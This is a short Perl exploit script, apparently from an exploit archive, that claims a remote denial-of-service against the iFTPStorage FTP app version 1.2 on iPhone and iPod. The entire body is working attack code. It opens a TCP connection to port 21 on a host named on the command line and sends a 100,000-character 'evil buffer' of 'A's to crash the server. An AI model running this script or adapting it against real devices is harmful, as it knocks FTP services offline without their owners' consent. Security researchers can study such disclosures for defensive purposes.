1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
#!/usr/bin/perl # # Exploit: iFTPStorage for Iphone\Ipod - Remote Dos Exploit # Date: 20/02/10 # Author: Ale46 # Software Link: # http://itunes.apple.com/us/app/iftpstorage/id333357690?mt=8 # Version: 1.2 # Tested on: Iphone 3GS with 3.1.2 firmware # Note: iFTSTorage Lite is also vulnerable # Greetz: Gandalf use IO::Socket; if (@ARGV<1){ print ("Usage: ./iFTPStorage <server_ip>\n"); exit(); } my $host = $ARGV[0]; my $port = 21; my $stuff = "A"*100000; my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port); unless ($socket) { die "Can\'t connect to $host" } print "Sending evil buffer..\n"; sleep(2); print $socket $stuff; sleep(2); print "Crashed.."; |